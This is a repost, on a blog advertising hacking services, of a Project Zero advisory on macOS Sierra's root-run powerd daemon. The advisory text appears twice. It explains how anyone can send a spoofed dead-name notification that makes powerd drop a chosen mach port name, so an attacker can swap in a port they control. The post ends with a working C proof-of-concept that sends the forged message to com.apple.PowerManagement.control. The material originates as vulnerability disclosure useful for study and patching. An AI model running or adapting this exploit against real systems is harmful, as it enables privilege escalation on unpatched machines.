Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863568650

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=976

powerd (running as root) hosts the com.apple.PowerManagement.control mach service.

It checks in with launchd to get a server port and then wraps that in a CFPort:

  pmServerMachPort = _SC_CFMachPortCreateWithPort(
                          "PowerManagement",
                          serverPort, 
                          mig_server_callback, 
                          &context);

It also asks to receive dead name notifications for other ports on that same server port:

  mach_port_request_notification(
              mach_task_self(),           // task
              notify_port_in,                 // port that will die
              MACH_NOTIFY_DEAD_NAME,      // msgid
              1,                          // make-send count
              CFMachPortGetPort(pmServerMachPort),        // notify port
              MACH_MSG_TYPE_MAKE_SEND_ONCE,               // notifyPoly
              &oldNotify);                                // previous

mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:

  static void
  mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
  {
      mig_reply_error_t * bufRequest = msg;
      mig_reply_error_t * bufReply = CFAllocatorAllocate(
          NULL, _powermanagement_subsystem.maxsize, 0);
      mach_msg_return_t   mr;
      int                 options;

      __MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
      
      /* we have a request message */
      (void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);

This passes the raw message to pm_mig_demux:

  static boolean_t 
  pm_mig_demux(
      mach_msg_header_t * request,
      mach_msg_header_t * reply)
  {
      mach_dead_name_notification_t *deadRequest = 
                      (mach_dead_name_notification_t *)request;
      boolean_t processed = FALSE;

      processed = powermanagement_server(request, reply);

      if (processed) 
          return true;
      
      if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) 
      {
          __MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);

          PMConnectionHandleDeadName(deadRequest->not_port);

          __MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
          mach_port_deallocate(mach_task_self(), deadRequest->not_port);
          
          reply->msgh_bits            = 0;
          reply->msgh_remote_port     = MACH_PORT_NULL;

          return TRUE;
      }

This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.

deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:

  typedef struct {
      mach_msg_header_t   not_header;
      NDR_record_t        NDR;
      mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
      mach_msg_format_0_trailer_t trailer;
  } mach_dead_name_notification_t;

This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.

The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)

Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.

You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right.

Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the
mach_port_deallocate call and you'll see the controlled value in rsi.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
 */

// ianbeer

#if 0
MacOS/iOS arbitrary port replacement in powerd

powerd (running as root) hosts the com.apple.PowerManagement.control mach service.

It checks in with launchd to get a server port and then wraps that in a CFPort:

	pmServerMachPort = _SC_CFMachPortCreateWithPort(
													"PowerManagement",
													serverPort, 
													mig_server_callback, 
													&context);

It also asks to receive dead name notifications for other ports on that same server port:

	mach_port_request_notification(
							mach_task_self(),           // task
							notify_port_in,                 // port that will die
							MACH_NOTIFY_DEAD_NAME,      // msgid
							1,                          // make-send count
							CFMachPortGetPort(pmServerMachPort),        // notify port
							MACH_MSG_TYPE_MAKE_SEND_ONCE,               // notifyPoly
							&oldNotify);                                // previous

mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:

	static void
	mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
	{
			mig_reply_error_t * bufRequest = msg;
			mig_reply_error_t * bufReply = CFAllocatorAllocate(
					NULL, _powermanagement_subsystem.maxsize, 0);
			mach_msg_return_t   mr;
			int                 options;

			__MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
			
			/* we have a request message */
			(void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);

This passes the raw message to pm_mig_demux:

	static boolean_t 
	pm_mig_demux(
			mach_msg_header_t * request,
			mach_msg_header_t * reply)
	{
			mach_dead_name_notification_t *deadRequest = 
											(mach_dead_name_notification_t *)request;
			boolean_t processed = FALSE;

			processed = powermanagement_server(request, reply);

			if (processed) 
					return true;
			
			if (MACH_NOTIFY_DEAD_NAME == request->msgh_id) 
			{
					__MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);

					PMConnectionHandleDeadName(deadRequest->not_port);

					__MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
					mach_port_deallocate(mach_task_self(), deadRequest->not_port);
					
					reply->msgh_bits            = 0;
					reply->msgh_remote_port     = MACH_PORT_NULL;

					return TRUE;
			}

This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.

deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:

	typedef struct {
			mach_msg_header_t   not_header;
			NDR_record_t        NDR;
			mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
			mach_msg_format_0_trailer_t trailer;
	} mach_dead_name_notification_t;

This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.

The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)

Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.

You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right.

Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the
mach_port_deallocate call and you'll see the controlled value in rsi.

Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/ndr.h>

char* service_name = "com.apple.PowerManagement.control";

struct notification_msg {
    mach_msg_header_t   not_header;
    NDR_record_t        NDR;
    mach_port_name_t not_port;
};

mach_port_t lookup(char* name) {
  mach_port_t service_port = MACH_PORT_NULL;
  kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
  if(err != KERN_SUCCESS){
    printf("unable to look up %s\n", name);
    return MACH_PORT_NULL;
  }
  
  return service_port;
}

int main() {
  kern_return_t err;

  mach_port_t service_port = lookup(service_name);

  mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy

  printf("%d\n", getpid());
  printf("service port: %x\n", service_port);

	struct notification_msg not = {0};

  not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  not.not_header.msgh_size = sizeof(struct notification_msg);
  not.not_header.msgh_remote_port = service_port;
  not.not_header.msgh_local_port = MACH_PORT_NULL;
  not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME

	not.NDR = NDR_record;

	not.not_port = target_port;

  // send the fake notification message
  err = mach_msg(&not.not_header,
                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                 (mach_msg_size_t)sizeof(struct notification_msg),
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL); 
  printf("fake notification message: %s\n", mach_error_string(err));
  
  return 0;
}